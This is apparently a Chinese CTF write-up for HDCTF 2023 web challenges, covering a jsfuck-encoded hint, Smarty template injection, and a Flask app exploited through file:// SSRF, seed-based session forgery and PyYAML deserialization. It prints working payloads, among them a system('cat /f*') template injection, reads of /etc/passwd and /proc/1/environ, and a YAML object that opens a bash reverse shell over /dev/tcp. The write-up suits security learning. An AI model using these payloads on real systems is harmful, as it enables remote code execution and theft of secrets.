比赛时思路还是太局限,做的时候感觉很懵
目录
Welcome To HDCTF 2023
web游戏类型,找js文件,本题是对关键信息做了jsfuck编码,这里贴一个ctf常见编码和特征的博客:
https://www.cnblogs.com/ruoli-s/p/14206145.html#js%E4%B8%93%E7%94%A8%E5%8A%A0%E5%AF%86
切入题目有两个方法:1.用爆破目录目录地址为:/composer.json;2.用报错(由于题目说了post一个data,于是post一个“data={”)
SearchMaster已解决
扫描:
报错:
这里smarty模板是php的一个模板,参考:
(2条消息) Smarty SSTI_合天网安实验室的博客-CSDN博客
使用{if}{/if}即可题目没有过滤
data={if system('cat /f*')}{/if}
YamiYami
打开页面以为会是ssrf读取目录结构+上传文件夹覆盖,但ssrf用的不好
(输入app发现还过滤app,以为这里是考点)
可以用伪协议读取文件,
file:///etc/passwd
过滤了flag和app
非预期解直接读环境下的flag:
?url=file:///proc/1/environ
预期解:
首先绕过过滤,通过url二次编码(使用burp,编码app/app.py)
?url=file:///%2561%2570%2570%252f%2561%2570%2570%252e%2570%2579
#encoding:utf-8
import os
import re, random, uuid from flask
import * from werkzeug.utils
import * import yaml from urllib.request
import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return ''' Welcome to HDCTF2023 Read somethings
Here is the challenge Upload file
Enjoy it pwd '''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n: return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f: yaml.full_load(f) f.close()
return "van you see" else: return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run( debug=False, host="0.0.0.0" )
print(app.config['SECRET_KEY'])
可以看到是伪随机生成,生成种子可以看到是uuid,而在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。
也就是linux中网卡,可以直接用?url=file:///sys/class/net/eth0/address
将读取出来的值,替换原脚本中的随机数种子也就能够伪造session了(坑点:uuid.getnode() 读出来是纯数字形式而这个显然是二进制,所以是0x0242ac025192)
yaml反序列化 :
YAML是一种直观的能够被电脑识别的的数据序列化格式,容易被人类阅读,并且容易和脚本语言交互,YAML类似于XML,但是语法比XML简单得多,对于转化成数组或可以hash的数据时是很简单有效的。
然后是抄网上的脚本:
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list
上传利用文件
打开相关接口:boogipop?file=uploads/3.txt,成功获得shell
ps:这里有个小插曲:本来反弹shell死活连不上,后面发现是vps的linux防火墙对应端口没开
iptables -I INPUT -p tcp --dport 9999 -j ACCEPT
最后仍然是/proc/1/environ